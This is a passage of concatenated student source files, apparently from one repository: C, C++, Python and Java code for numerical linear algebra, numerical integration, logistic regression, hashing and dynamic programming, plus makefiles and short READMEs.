partD(FILE *file); <file_sep>To execute the program, run the following in the proj0 directory in bash: $ make $ ./reverse <file address> <A, B, or C> Program will return an error if file address is invalid. A, B, and C correspond to the choice of part A, B, or C of the project description. --------------------------------------- sample input: The quick brown fox Jumped over The lazy brown Dog output part A: Dog The lazy brown Jumped over The quick brown fox output Part B: xof nworb kciuq ehT revo depmuJ nworb yzal ehT goD output part C: fox brown quick The over Jumped brown lazy The Dog <file_sep>#include <stdio.h> #include <stdlib.h> #include <math.h> struct Node; typedef struct Node { float x; float y; struct Node *next; } node; //structure modeling a point typedef struct { float x; float y; } point; //structure modeling a line typedef struct { point x; point y; float z; } line; //compares points based on their x co-ordinates int pointCompare(const void *a, const void *b) { return (*((point *)(a))).x - (*((point *)(b))).x; } void sortedTour(FILE *file) { int i; int flag = 1; int size = 0; float totalLength = 0; node *head = NULL; node *iterator; node *temp; point p; line t; //construct a linked list and read input while(fscanf(file, "%f %f", &(p.x), &(p.y)) != EOF) { temp = (node *) malloc(sizeof(node)); temp -> x = p.x; temp -> y = p.y; temp -> next = NULL; if(flag) { flag = 0; head = temp; iterator = head; } else { iterator -> next = temp; iterator = iterator -> next; } size = size + 1; } //declare arrays to hold points and lines iterator = head; point points[size]; line lines[size - 1]; //construct points for(i = 0; i < size; i++) { p.x = iterator -> x; p.y = iterator -> y; points[i] = p; iterator = iterator -> next; } //sort the array of points based on x co-ordinates qsort(points, size, sizeof(point), pointCompare); //construct and store lines for(i = 0; i < size - 1; i++) { t.x = points[i]; t.y = points[i + 1]; t.z = sqrt((points[i].x - points[i + 1].x)*(points[i].x - points[i + 1].x) + (points[i].y - points[i + 1].y)*(points[i].y - points[i + 1].y)); lines[i] = t; } //output printf("Total line segments = %d\n\n", size); for(i = 0; i < size - 1; i++) { totalLength = totalLength + lines[i].z; printf("Segment[%d]: (%0.2f, %0.2f) --> (%0.2f, %0.2f);\tlength = %0.2f\n", i + 1, lines[i].x.x, lines[i].x.y, lines[i].y.x, lines[i].y.y, lines[i].z); } printf("\nTotal tour length = %0.2f\n", totalLength); } <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <vector> #include <string> #include <time.h> #include <math.h> #include "la.h" using namespace std; vector<vector<double>> cholesky(vector<vector<double>> A){ int n = A.size(); vector<vector<double>> L(n, vector<double>(n)); for(int j = 0; j < n; j++){ double sum = 0; for(int k = 0; k < j; k++) sum += L[j][k]*L[j][k]; L[j][j] = sqrt(A[j][j] - sum); for(int i = j+1; i < n; i++){ sum = 0; for(int k = 0; k < j; k++) sum += L[i][k]*L[j][k]; L[i][j] = (A[i][j] - sum)/L[j][j]; } } return L; } //SYMMETRIC TOEPLITZ MATRIX IS GIVEN BY THE VECTOR OF ITS FIRST ROW vector<vector<double>> schur(vector<double> A){ int n = A.size(); vector<vector<double>> L; vector<vector<double>> G(2, vector<double>(n)); double a = sqrt(A[0]); for(int i = n-1; i >= 0; i--) A[i] = A[i]/a; G[0] = A; G[1] = A; G[1][0] = 0; for(int k = 0; k < n-1; k++){ L.push_back(G[0]); for(int i = n-1; i > k; i--) G[0][i] = G[0][i-1]; G[0][k] = 0; double x = G[1][k+1]/G[0][k+1]; double c = 1/sqrt(1 - pow(x, 2)); double s = c*x; vector<vector<double>> U = {{c, -s}, {-s, c}}; G = product(U, G); } L.push_back(G[0]); return transpose(L); } string test_cholesky(int trials){ srand(time(NULL)); int ctr = 0; for(int i = 0; i < trials; i++){ int n = rand()%10 + 2; int mod = rand()%10 + 4; vector<vector<double>> A = generate_spd_matrix(n, mod); vector<vector<double>> L = cholesky(A); ctr = equality(A, product(L, transpose(L))) ? (ctr+1) : ctr; } return to_string(ctr) + " out of " + to_string(trials) + " correct."; } string test_schur(int trials){ srand(time(NULL)); int ctr = 0; for(int i = 0; i < trials; i++){ int n = rand()%10 + 2; int mod = rand()%10 + 4; vector<double> A = generate_spd_toeplitz(5, 10); vector<vector<double>> L = schur(A); ctr = equality(full_toeplitz(A), product(L, transpose(L))) ? (ctr+1) : ctr; } return to_string(ctr) + " out of " + to_string(trials) + " correct."; } int main(int argc, char *argv[]){ cout << "Cholesky Test:" << endl << test_cholesky(10000) << endl << endl; cout << "Schur Test:" << endl << test_schur(10000) << endl; } <file_sep>all: a.out clean a.out: code.o la.o g++ -std="c++11" -o a.out code.o la.o code.o: code.cpp g++ -std="c++11" -c code.cpp la.o: la.cpp g++ -std="c++11" -c la.cpp clean: rm *.o <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <vector> #include <time.h> using namespace std; void print_vector(vector<double> x){ for(int i = 0; i < x.size(); i++) cout << x[i] << " "; cout << endl; } void print_matrix(vector<vector<double>> A){ for(int i = 0; i < A.size(); i++){ for(int j = 0; j < A[0].size(); j++) cout << A[i][j] << "\t"; cout << endl; } } vector<double> generate_spd_toeplitz(int n, int mod){ srand(time(NULL)); vector<vector<double>> T(n, vector<double>(n)); vector<double> u(n); double sum = 0; for(int i = 1; i < n; i++){ u[i] = rand()%mod; sum += u[i]; } u[0] = sum + 1; return u; } vector<vector<double>> full_toeplitz(vector<double> A){ int n = A.size(); vector<vector<double>>T(n, vector<double>(n)); for(int i = 0; i < n; i++){ for(int j = i; j < n; j++) T[i][j] = A[j-i]; for(int j = 0; j < i; j++) T[i][j] = T[j][i]; } return T; } vector<vector<double>> generate_spd_matrix(int n, int mod){ srand(time(NULL)); vector<vector<double>> R(n, vector<double>(n)); for(int i = 0; i < n; i++){ for(int j = 0; j <= i; j++) R[i][j] = rand()%mod; for(int j = i-1; j >= 0; j--) R[j][i] = R[i][j]; } for(int i = 0; i < n; i++){ double sum = 0; for(int j = 0; j < n; j++) sum = (i != j) ? (sum + R[i][j]) : sum; R[i][i] = sum + 1; } return R; } vector<vector<double>> transpose(vector<vector<double>> A){ vector<vector<double>> T(A[0].size(), vector<double>(A.size())); for(int i = 0; i < A.size(); i++) for(int j = 0; j < A[0].size(); j++) T[j][i] = A[i][j]; return T; } vector<vector<double>> product(vector<vector<double>> A, vector<vector<double>> B){ vector<vector<double>> C(A.size()); for(int i = 0; i < A.size(); i++){ for(int j = 0; j < B[0].size(); j++){ double sum = 0; for(int k = 0; k < A[0].size(); k++) sum += A[i][k]*B[k][j]; C[i].push_back(sum); } } return C; } bool equality(vector<vector<double>> A, vector<vector<double>> B){ bool eq = false; if(A.size() != B.size() || A[0].size() != B[0].size()) return eq; for(int i = 0; i < A.size(); i++) for(int j = 0; j < A[0].size(); j++) eq = eq || A[i][j] == B[i][j]; return eq; } <file_sep># Boosting with 1D Linear Regressors A Python implementation of LogitBoost, using 1-dimensional linear regressors as weak learners, for binary classification. <file_sep>void reverseChars(FILE *file); <file_sep>void rectangleAreas(FILE *file); <file_sep>#include <stdio.h> #include <stdlib.h> #include <string.h> #include "hash.h" //Node structure for linked list struct Node { int id; char name[256]; float PPG; float APG; float RPG; float SPG; float MPG; int vote1; int vote2; int vote3; struct Node *next; }; typedef struct Node node; //Linked structure list of nodes struct List { int size; node *head; node *itr; }; typedef struct List list; //allocated globally due to size static node *result[1000000]; static list players[1000000]; static int flag[1000000]; //main function void partA(FILE *file, char *request) { int i; int j = 0; node *ptr; int hashed; int _id; char _name[256]; float _PPG; float _APG; float _RPG; float _SPG; float _MPG; int _vote1; int _vote2; int _vote3; //read and create linked lists to store input from file at hashed entries while(fscanf(file, "%d %s %f %f %f %f %f %d %d %d", &_id, _name, &_PPG, &_APG, &_RPG, &_SPG, &_MPG, &_vote1, &_vote2, &_vote3) != EOF) { ptr = malloc(sizeof(node)); hashed = hashName(_name); ptr -> id = _id; strcpy(ptr -> name, _name); ptr -> PPG = _PPG; ptr -> APG = _APG; ptr -> RPG = _RPG; ptr -> SPG = _SPG; ptr -> MPG = _MPG; ptr -> vote1 = _vote1; ptr -> vote2 = _vote2; ptr -> vote3 = _vote3; //allocate memory to the players array if necessary if(!flag[hashed]) { flag[hashed] = 1; players[hashed].size = 1; players[hashed].head = ptr; players[hashed].itr = players[hashed].head; } else { players[hashed].size = players[hashed].size + 1; players[hashed].itr -> next = ptr; players[hashed].itr = players[hashed].itr -> next; } } hashed = hashName(request); ptr = players[hashed].head; //filter the players in the hashed address who have the same name as requested while(ptr != NULL) { if(!strcmp(ptr -> name, request)) { result[j] = ptr; j = j + 1; } ptr = ptr -> next; } //output printf("There are %d player(s) with the name %s.\n", j, request); if(j == 0) return; for(i = 0; i < j; i++) { printf("The statistics of %s (ID: %d) are: \n", result[i] -> name, result[i] -> id); printf("%0.1f point(s) per game.\n", result[i] -> PPG); printf("%0.1f assist(s) per game.\n", result[i] -> APG); printf("%0.1f rebound(s) per game.\n", result[i] -> RPG); printf("%0.1f steal(s) per game.\n", result[i] -> SPG); printf("%s plays %0.1f minute(s) per game\n\n", result[i] -> name, result[i] -> MPG); } } <file_sep>//adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif vector<vector<precision>> factor(vector<vector<precision>> A, int partial, int complete); vector<precision> solve(vector<vector<precision>> LU, vector<precision> b); <file_sep># <NAME>, FSU Mathematics PhD # <NAME>, FSU Mathematics PhD # Applied Machine Learning Assignment 3 from math import exp from math import log import numpy as np import matplotlib.pyplot as plt training_data = ["./data-norm/madelon/madelon_train.data"] test_data = ["./data-norm/madelon/madelon_valid.data"] training_labels = ["./data-norm/madelon/madelon_train.labels"] test_labels = ["./data-norm/madelon/madelon_valid.labels"] def gradient(X, Y, weights): N = X.shape[0] M = X[0].shape[0] grad = np.zeros(M+1) x = np.asarray([np.append([1], x) for x in X]) xT = np.transpose(x) W = weights.reshape(1, M+1) fraction = np.exp(np.inner(W, x)).transpose() fraction = (fraction / (1 + fraction)) grad = np.dot(xT, Y - fraction) return grad def gradient_ascent(X, Y, η=1, λ=0.001, num_itr=10000): llh = np.array([]) N = X.shape[0] M = X[0].shape[0] weights = np.zeros(M + 1) for itr in range(0, num_itr+1): print(itr) grad = gradient(X, Y, weights)[:,0] weights = ((1 - η * λ) * weights) + ((η / N) * grad) print(weights.shape) if itr % 25 == 0: llh = np.append(llh, log_likelihood(X, Y, weights)) return (weights, llh) def log_likelihood(X, Y, weights): llh = 0 N = X.shape[0] M = X[0].shape[0] for j in range(0, N): x = np.append([1], X[j]) product = np.inner(x, weights) llh = llh + Y[j, 0] * product - np.log(1 + np.exp(product)) return np.array(llh) for f_train_data, f_test_data, f_train_labels, f_test_labels in zip(training_data, test_data, training_labels, test_labels): with open(f_train_data) as train_data, open(f_test_data) as test_data, open(f_train_labels) as train_labels, open(f_test_labels) as test_labels: output_train_error = open("./output/train-error-" + f_train_data.split("/")[-2], "w") output_test_error = open("./output/test-error-" + f_train_data.split("/")[-2], "w") train_error = 0 test_error = 0 llh = np.array([]) train_predictions = np.array([]) test_predictions = np.array([]) print("Processing: " + f_train_data.split("/")[-1]) Xtrain = np.asarray([[float(x) for x in line.strip().strip("\n").split(" ")] for line in train_data]) Ytrain = np.asarray([[float(x) for x in line.strip().strip("\n").split(" ")] for line in train_labels]) Xtest = np.asarray([[float(x) for x in line.strip().strip("\n").split(" ")] for line in test_data]) Ytest = np.asarray([[float(x) for x in line.strip().strip("\n").split(" ")] for line in test_labels]) results = gradient_ascent(Xtrain, Ytrain) weights = results[0] llh = results[1] for x in Xtrain: if np.inner(np.append([1], x), weights) > 0: train_predictions = np.append(train_predictions, [1]) else: train_predictions = np.append(train_predictions, [0]) for x in Xtest: if np.inner(np.append([1], x), weights) > 0: test_predictions = np.append(test_predictions, [1]) else: test_predictions = np.append(test_predictions, [0]) for y, p in zip(Ytrain, train_predictions): if y != p: train_error = train_error + 1 for y, p in zip(Ytest, test_predictions): if y != p: test_error = test_error + 1 print(llh) output_train_error.write(str(train_error/(Ytrain.shape[0])) + "\n") output_test_error.write(str(test_error/(Ytest.shape[0])) + "\n") axes = [x for x in range(0, 10001) if (x % 25 == 0)] fig, ax = plt.subplots() ax.plot(axes, llh) plt.title("Madelon") plt.xticks([x for x in range(0, 10001) if (x%1000 == 0)], [x for x in range(0, 10001) if (x%1000 == 0)]) plt.xlabel("Iteration Counter") plt.ylabel("Log-Likelihood") plt.savefig("./report/figures/madelon.eps", format="eps", dpi=1000, bbox_inches="tight") <file_sep>//adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif vector<vector<precision>> generate_toeplitz_tri(int dim); vector<vector<precision>> gram_schmidt(int n); vector<vector<precision>> eigenmatrix(int n); <file_sep># EM Algorithm for Clustering A Python implementation of the EM algorithm for clustering unlabelled data, using the Gaussian Mixture module from SciKitLearn. <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <vector> #include <time.h> using namespace std; //COMPRESSED SPARSE ROW FORMAT struct CSR{ vector<double> data; vector<double> rows; vector<double> cols; }; //COMPRESSED SPARSE COLUMN FORMAT struct CSC{ vector<double> data; vector<double> rows; vector<double> cols; }; //COMPRESSED SPARSE DIAGONAL FORMAT struct CSD{ vector<vector<double>> diag; vector<double> ioff; }; void print_vector(vector<double> x, string name){ cout << name << ": [ "; for(int i = 0; i < x.size(); i++) cout << x[i] << " "; cout << "]" << endl; } void print_matrix(vector<vector<double>> A, string name){ cout << name << ": " << endl; for(int i = 0; i < A.size(); i++){ for(int j = 0; j < A[0].size(); j++) cout << A[i][j] << "\t"; cout << endl; } } vector<double> generate_random_vector(int n){ srand(time(NULL)); vector<double> u(n); for(int i = 0; i < n; i++) u[i] = rand()%n; return u; } vector<vector<double>> generate_random_matrix(int n1, int n2){ srand(time(NULL)); vector<vector<double>> R(n1, vector<double>(n2)); for(int i = 0; i < n1; i++) for(int j = 0; j < n2; j++) R[i][j] = rand()%n2; return R; } vector<vector<double>> transpose(vector<vector<double>> A){ vector<vector<double>> T(A[0].size(), vector<double>(A.size())); for(int i = 0; i < A.size(); i++) for(int j = 0; j < A[0].size(); j++) T[j][i] = A[i][j]; return T; } vector<vector<double>> dense_product(vector<vector<double>> A, vector<vector<double>> B){ vector<vector<double>> C(A.size()); for(int i = 0; i < A.size(); i++){ for(int j = 0; j < B[0].size(); j++){ int sum = 0; for(int k = 0; k < A[0].size(); k++) sum += A[i][k]*B[k][j]; C[i].push_back(sum); } } return C; } //COMPRESSED ROW CONVERSION CSR compress_CSR(vector<vector<double>> A){ CSR sparse; for(int i=0, ptr=0; i < A.size(); i++){ sparse.rows.push_back(ptr); for(int j=0; j < A[0].size(); j++){ if(A[i][j] != 0){ sparse.data.push_back(A[i][j]); sparse.cols.push_back(j); ptr++; } } } sparse.rows.push_back(sparse.data.size()); return sparse; } //COMPRESSED COLUMN CONVERSION CSC compress_CSC(vector<vector<double>> A){ CSC sparse; for(int j=0, ptr=0; j < A[0].size(); j++){ sparse.cols.push_back(ptr); for(int i=0; i < A.size(); i++){ if(A[i][j] != 0){ sparse.data.push_back(A[i][j]); sparse.rows.push_back(i); ptr++; } } } sparse.cols.push_back(sparse.data.size()); return sparse; } //COMPRESSED DIAGONAL CONVERSION CSD compress_CSD(vector<vector<double>> A){ CSD sparse; int m = A.size(); for(int d = m-1; d > 0; d--){ bool flag = false; vector<double> curr; for(int i = 0; i < d; i++) curr.push_back(0); for(int i = d, j = 0; (i < m) && (j < m-d); i++, j++){ flag = (A[i][j]!=0) ? true : (flag || false); curr.push_back(A[i][j]); } if(flag){ sparse.diag.push_back(curr); sparse.ioff.push_back(-d); } } for(int d = 0; d < m; d++){ bool flag = false; vector<double> curr; for(int i = 0, j = d; (i < m-d) && (j < m); i++, j++){ flag = (A[i][j]!=0) ? true : (flag || false); curr.push_back(A[i][j]); } for(int i = 0; i < d; i++) curr.push_back(0); if(flag){ sparse.diag.push_back(curr); sparse.ioff.push_back(d); } } sparse.diag = transpose(sparse.diag); return sparse; } //SPARSE ROW PRODUCT vector<double> product_CSR(CSR sparse, vector<double> x){ vector<double> y; for(int k = 0; k < x.size(); k++){ double k1 = sparse.rows[k]; double k2 = sparse.rows[k+1]; y.push_back(0); for(int i = k1; i < k2; i++) y[y.size()-1] += sparse.data[i]*x[sparse.cols[i]]; } return y; } //SPARSE COLUMN PRODUCT vector<double> product_CSC(CSC sparse, vector<double> x){ vector<double> y(x.size()); for(int k = 0; k < x.size(); k++){ double k1 = sparse.cols[k]; double k2 = sparse.cols[k+1]; for(int i = k1; i < k2; i++) y[sparse.rows[i]] += + x[k]*sparse.data[i]; } return y; } //SPARSE DIAGONAL PRODUCT vector<double> product_CSD(CSD sparse, vector<double> x){ vector<double> y(x.size()); for(int j = 0; j < sparse.ioff.size(); j++){ int off = sparse.ioff[j]; int low = (off >= 0) ? 0 : (1-off); int hi = (off >= 0) ? x.size()-off : x.size(); for(int i = low; i < hi; i++) y[i] += sparse.diag[i][j]*x[off+i]; } return y; } //DENSE MATRIX-MATRIX PRODUCT BY DIAGONALS vector<vector<double>> diag_product(vector<vector<double>> A, vector<vector<double>> B){ int n1 = A.size(); int n2 = B.size(); int n3 = B[0].size(); vector<vector<double>> C(n1); for(int i = 0; i < n1; i++) for(int j = 0; j < n3; j++) C[i].push_back(0); for(int i = 1-n1; i < n2; i++){ for(int j = 1-n2; j < n3; j++){ int αi = (i < 0) ? (-i) : 0; int βi = (j < 0) ? (-j) : 0; int αj = αi + i; int βj = βi + j; if(αj < βi){ αj = βi; αi = αj-i; } else if(αj > βi){ βi = αj; βj = βi+j; } while(αi < min(n1, n2-i) && βi < min(n2, n3-j)){ C[αi][βj] += A[αi][αj]*B[βi][βj]; αi++, αj++, βi++, βj++; } } } return C; } //SOME TEST CASES int main(int argc, char *argv[]){ vector<vector<double>> A = { {1, 0, 0, 2, 0}, {3, 4, 0, 5, 0}, {6, 0, 7, 8, 9}, {0, 0, 10, 11, 0}, {0, 0, 0, 0, 12} }; vector<vector<double>> B = { {1, 0, 2, 0, 0}, {3, 4, 0, 5, 0}, {0, 6, 7, 0, 8}, {0, 0, 9, 10, 0}, {0, 0, 0, 11, 12} }; vector<vector<double>> C = { {1, 2, 3, 4, 5}, {1, 2, 3, 4, 5}, {1, 2, 3, 4, 5}, }; vector<vector<double>> D = { {3, 2, 1}, {3, 2, 1}, {3, 2, 1}, {3, 2, 1}, {3, 2, 1} }; vector<double> x1 = {0, 3, -2, 1, -1}; // Ax = {2, 17, -15, -9, -12} // Bx = {-4, 17, -4, -8, 1} print_matrix(A, "A"); cout << endl; print_matrix(B, "B"); cout << endl; print_matrix(C, "C"); cout << endl; print_matrix(D, "D"); cout << endl; print_vector(x1, "x1"); cout << endl; print_vector(product_CSR(compress_CSR(A), x1), "Ax1 CSR"); print_vector(product_CSC(compress_CSC(A), x1), "Ax1 CSC"); print_vector(product_CSD(compress_CSD(A), x1), "Ax1 CSD"); print_vector(product_CSD(compress_CSD(B), x1), "Bx1 CSD"); print_matrix(diag_product(A, B), "AB"); print_matrix(diag_product(C, D), "CD"); print_matrix(generate_random_matrix(5, 5), "random"); } <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <vector> #include <math.h> using namespace std; //use the g++ directive -DSINGLE=1 at compile time to set precision from double (default) to single #ifdef SINGLE typedef float precision; #else typedef double precision; #endif const precision PI = 3.141592653589793238462643383279502884197169399375105820974; const precision I1 = 19.08553692318766774092852965458171789698790783855415014437; const precision I2 = 0.688721337618082394122380379050022709663626871108323729493; const precision I3 = -0.89122191687483724391125651192944945332781581115522281812; const precision I4 = -0.050660591821168885721939731604863819452179387336123; const precision I5 = 6.3388758248682007492015186664523752790512027085370354; const precision I6 = 6.75; const precision I7 = 0.386294361119890618834464242916353136151000268720510508241; precision f1(precision x){return exp(x);} precision f2(precision x){return exp(sin(2*x))*cos(2*x);} precision f3(precision x){return tanh(x);} precision f4(precision x){return x*cos(2*PI*x);} precision f5(precision x){return x + 1/x;} precision f6(precision x){return pow(x, 3) + pow(x, 2);}// min 2nd = -4; max 2nd = 14; min 4th = 0; max 4th = 0 precision f7(precision x){return log(x);}// min 2nd = -1; max 2nd = -1/4; min 4th = -6; max 4th = -0.375 precision midpoint(int refine, int n, precision a, precision b, precision delta, precision (*f)(precision), precision analytic, precision error) { precision result = 0; for(int i = 1; i < 2*n; i = i + 2){result = result + delta*(*f)((2*a + i*delta)/2);} while(refine && abs(result - analytic) > error) { n = n*3; delta = delta/3; result = result/3; for(int i = 1; i < 2*n; i = i + 2){if(i%3 != 0){result = result + delta*(*f)((2*a + i*delta)/2);}} } cout << "n = " << n << endl; return result; } precision open(int refine, int n, precision a, precision b, precision delta, precision (*f)(precision), precision analytic, precision error) { precision result = 0; for(int i = 0; i < 3*n; i++){if(i%3 != 0){result = result + delta*(*f)(a + i*delta/3)/2;}} while(refine && abs(result - analytic) > error) { n = n*2; delta = delta/2; result = result/2; for(int i = 0; i < 3*n; i++){if(i%3 != 0 && i%2 != 0){result = result + delta*(*f)(a + i*delta/3)/2;}} } cout << "n = " << n << endl; return result; } precision trapezoid(int refine, int n, precision a, precision b, precision delta, precision (*f)(precision), precision analytic, precision error) { precision result = delta*(*f)(a)/2 + delta*(*f)(b)/2; for(int i = 1; i < n; i++){result = result + delta*(*f)(a + i*delta);} while(refine && abs(result - analytic) > error) { n = n*2; delta = delta/2; result = result/2; for(int i = 1; i < n; i = i + 2){result = result + delta*(*f)(a + i*delta);} } cout << "n = " << n << endl; return result; } precision simpson(int refine, int n, precision a, precision b, precision delta, precision (*f)(precision), precision analytic, precision error) { precision bounds = delta*((*f)(a) + (*f)(b))/6; precision middle = 0; for(int i = 1; i < 2*n; i = i + 2){middle = middle + 2*delta*(*f)(a + i*delta/2)/3;} for(int i = 1; i < n; i++){bounds = bounds + delta*(*f)(a + i*delta)/3;} while(refine && abs(bounds + middle - analytic) > error) { n = n*2; delta = delta/2; bounds = bounds/2 + middle/4; middle = 0; for(int i = 1; i < 2*n; i = i + 2){middle = middle + 2*delta*(*f)(a + i*delta/2)/3;} } cout << "n = " << n << endl; return bounds + middle; } precision gauss(int refine, int n, precision a, precision b, precision delta, precision (*f)(precision), precision analytic, precision error) { precision z = sqrt(1.0/3); precision result = 0; for(int i = 1; i < 2*n; i = i + 2){result = result + delta*((*f)((2*a + i*delta + z*delta)/2) + (*f)((2*a + i*delta - z*delta)/2))/2;} while(refine && abs(result - analytic) > error) { n = n*2; delta = delta/2; result = 0; for(int i = 1; i < 2*n; i = i + 2){result = result + delta*((*f)((2*a + i*delta + z*delta)/2) + (*f)((2*a + i*delta - z*delta)/2))/2;} } cout << "n = " << n << endl; return result; } int main(int argc, char* argv[]) { int refine = 0; int n = 1; precision a = 0; precision b = 3; precision delta = (b-a)/n; precision error = 0.00001; vector<precision> mesh; for(precision i = a; i <= b; i = i + delta){mesh.push_back(i);} cout.precision(numeric_limits<precision>::digits10); cout << midpoint(refine, n, a, b, delta, f1, I1, error) << endl; return 0; } <file_sep>// <NAME>, FIU Mathematics & Computer Science BSc // Spring 2013 import java.util.Scanner; import java.lang.Math; import java.io.File; import java.io.FileNotFoundException; import java.io.PrintWriter; import java.io.IOException; public class DynamicProgramming { public static void main(String args[]) throws IOException { PrintWriter writer = new PrintWriter("output.txt"); if(args.length == 0) { writer.println("Error: no files provided. Provide full path address."); System.out.println("Error: no files provided. Provide full path address."); return; } if(args.length < 2) { writer.println("Error: not enough files provided.\nPlease provide 2 files."); System.out.println("Error: not enough files provided.\nPlease provide 2 files."); return; } largest_submatrix(new File(args[0]), writer); longest_subsequence(new File(args[1]), writer); optimal_change(writer); writer.close(); } public static void largest_submatrix(File file, PrintWriter writer) throws FileNotFoundException { writer.printf("Largest Submatrix for %s:\n", file); Scanner scanner = new Scanner(file); int[][] input = new int[500][150]; int[][] dp = new int[500][150]; int max = 0; int row = -1; int col = -1; //reading input for(int i = 0; i < 500; i++) { char[] line = scanner.nextLine().toCharArray(); for(int j = 0; j < 150; j++) { if(line.length != 150) { writer.println("\tError: malformed input, process aborted"); return; } input[i][j] = line[j] - 48; //error-checking if(input[i][j] != 0 && input[i][j] != 1) { System.out.println(i + " " + j); writer.println("\tError: malformed input, process aborted."); return; } } } //initializing first column for(int i = 0; i < 500; i++) { dp[i][0] = input[i][0]; if(dp[i][0] > max) { max = 1; row = i; col = 1; } } //initializing first row for(int j = 0; j < 150; j++) { dp[0][j] = input[0][j]; if(dp[0][j] > max) { max = 1; row = 0; col = j; } } //dynamic programming for(int i = 1; i < 500; i++) { for(int j = 1; j < 150; j++) { if(input[i][j] == 0) { dp[i][j] = 0; } else { dp[i][j] = Math.min(dp[i - 1][j - 1], Math.min(dp[i - 1][j], dp[i][j - 1])) + 1; if(dp[i][j] > max) { max = dp[i][j]; row = i; col = j; } } } } if(row == -1 || col == -1) { writer.println("\tMatrix was all 0s; largest submatrix of 1s is empty.\n"); return; } writer.printf("\tThe largest square submatrix of 1s is %d x %d and has bottom right corner located at (%d, %d).\n\n", max, max, row, col); } public static void longest_subsequence(File file, PrintWriter writer) throws FileNotFoundException { writer.printf("Longest Common Subsequence for %s:\n", file); Scanner scanner = new Scanner(file); String sequence = ""; char[] line1 = scanner.nextLine().toCharArray(); char[] line2 = scanner.nextLine().toCharArray(); int[][] dp = new int[line1.length][line2.length]; int max = 0; int row = -1; int col = -1; //initializing first row for(int i = 0; i < line1.length; i++) { if(line1[i] == line2[0]) { dp[i][0] = 1; if(dp[i][0] > max) { max = dp[i][0]; row = i; col = 0; } } } //initializing first column for(int j = 0; j < line2.length; j++) { if(line1[0] == line2[j]) { dp[0][j] = 1; if(dp[0][j] > max) { max = dp[0][j]; row = 0; col = j; } } } //dynamic programming for(int i = 1; i < line1.length; i++) { for(int j = 1; j < line2.length; j++) { if(line1[i] == line2[j]) { dp[i][j] = dp[i - 1][j - 1] + 1; } else { dp[i][j] = Math.max(dp[i][j - 1], dp[i - 1][j]); if(dp[i][j] > max) { max = dp[i][j]; row = i; col = j; } } } } if(row == -1 || col == -1) { writer.println("\tThe sequences have no subsequence in common.\n"); return; } sequence = sequence + line1[row]; //building the subsequence while(row >= 0 && col >= 0 && dp[row][col] > 0) { if(line1[row] == line2[col]) sequence = line1[row] + sequence; if(row == 0 || col == 0) break; row = row - 1; col = col - 1; while(row > 0 && col > 0 && line1[row] != line2[col]) { if(dp[row][col - 1] > dp[row - 1][col]) col = col - 1; else row = row - 1; } } writer.printf("\tA longest common subsequence is \'%s\'.\n", sequence); writer.printf("\tThis sequence is %d characters long.\n\n", max); } public static void optimal_change(PrintWriter writer) throws FileNotFoundException { writer.print("Optimal Change for {1, 2, ... 100}:\n\tThe minimum number of coins needed are as follows:"); int[] dp = new int[101]; dp[0] = 0; //dynamic programming for(int i = 1; i <= 100; i++) { if(i < 5) dp[i] = dp[i - 1] + 1; else if(i < 10) dp[i] = Math.min(dp[i - 1], dp[i - 5]) + 1; else if(i < 18) dp[i] = Math.min(dp[i - 1], Math.min(dp[i - 5], dp[i - 10])) + 1; else if(i < 25) dp[i] = Math.min(dp[i - 1], Math.min(dp[i - 5], Math.min(dp[i - 10], dp[i - 18]))) + 1; else dp[i] = Math.min(dp[i - 1], Math.min(dp[i - 5], Math.min(dp[i - 10], Math.min(dp[i - 18], dp[i - 25])))) + 1; } for(int i = 1; i <= 100; i++) { if(dp[i] > 1) writer.printf("\n\t%d:\t%d coins", i, dp[i]); else writer.printf("\n\t%d:\t%d coin", i, dp[i]); } } } <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <vector> #include <math.h> using namespace std; //use the g++ directive -DSINGLE=1 at compile time to set precision from double (default) to single #ifdef SINGLE typedef float precision; #else typedef double precision; #endif const precision PI = 3.141592653589793238462643383279502884197169399375105820974; const precision I1 = 19.08553692318766774092852965458171789698790783855415014437; const precision I2 = 0.688721337618082394122380379050022709663626871108323729493; const precision I3 = -0.89122191687483724391125651192944945332781581115522281812; const precision I4 = -0.050660591821168885721939731604863819452179387336123; const precision I4new = 4.1684*pow(10, -8); const precision I5 = 6.3388758248682007492015186664523752790512027085370354; const precision I6 = 0.386294361119890618834464242916353136151000268720510508241; precision f1(precision x){return exp(x);} precision f2(precision x){return exp(sin(2*x))*cos(2*x);} precision f3(precision x){return tanh(x);} precision f4(precision x){return x*cos(10*PI*x);} precision f5(precision x){return x + 1/x;} precision f6(precision x){return log(x);} vector<precision> trapezoid(int n, precision a, precision b, precision delta, precision (*f)(precision), int itr) { vector<precision> result; result.push_back(delta*(*f)(a)/2 + delta*(*f)(b)/2); for(int i = 1; i < n; i++){result[0] = result[0] + delta*(*f)(a + i*delta);} for(int i = 0; i < itr; i++) { n = n*2; delta = delta/2; result.push_back(result[i]/2); for(int j = 1; j < n; j = j + 2){result[i+1] = result[i+1] + delta*(*f)(a + j*delta);} } return result; } vector<precision> romberg(precision a, precision b, precision delta, precision (*f)(precision), int itr) { vector<precision> t = trapezoid(1, a, b, delta, (*f), itr); vector<precision> T;//the upper diagonal of the Romberg pyramid T.push_back(t[0]); for(int i = 1; i <= itr; i++) { for(int j = 0; j < itr - i + 1; j++){t[j] = (pow(4, i)*t[j+1] - t[j])/(pow(4, i) - 1);} T.push_back(t[0]); } return T; } vector< vector<precision> > romberg_full(precision a, precision b, precision delta, precision (*f)(precision), int itr) { vector<precision> t = trapezoid(1, a, b, delta, (*f), itr); vector< vector<precision> > T;//the full Romberg pyramid T.push_back(t); for(int i = 1; i <= itr; i++) { for(int j = 0; j < itr - i + 1; j++) { t[j] = (pow(4, i)*t[j+1] - t[j])/(pow(4, i) - 1); } t.pop_back(); T.push_back(t); } return T; } int main(int argc, char* argv[]) { precision a = 0; precision b = PI/3; precision delta = (b-a); vector<precision> result1 = romberg(0, 3, 3, f1, 8); vector<precision> result2 = romberg(0, PI/3, 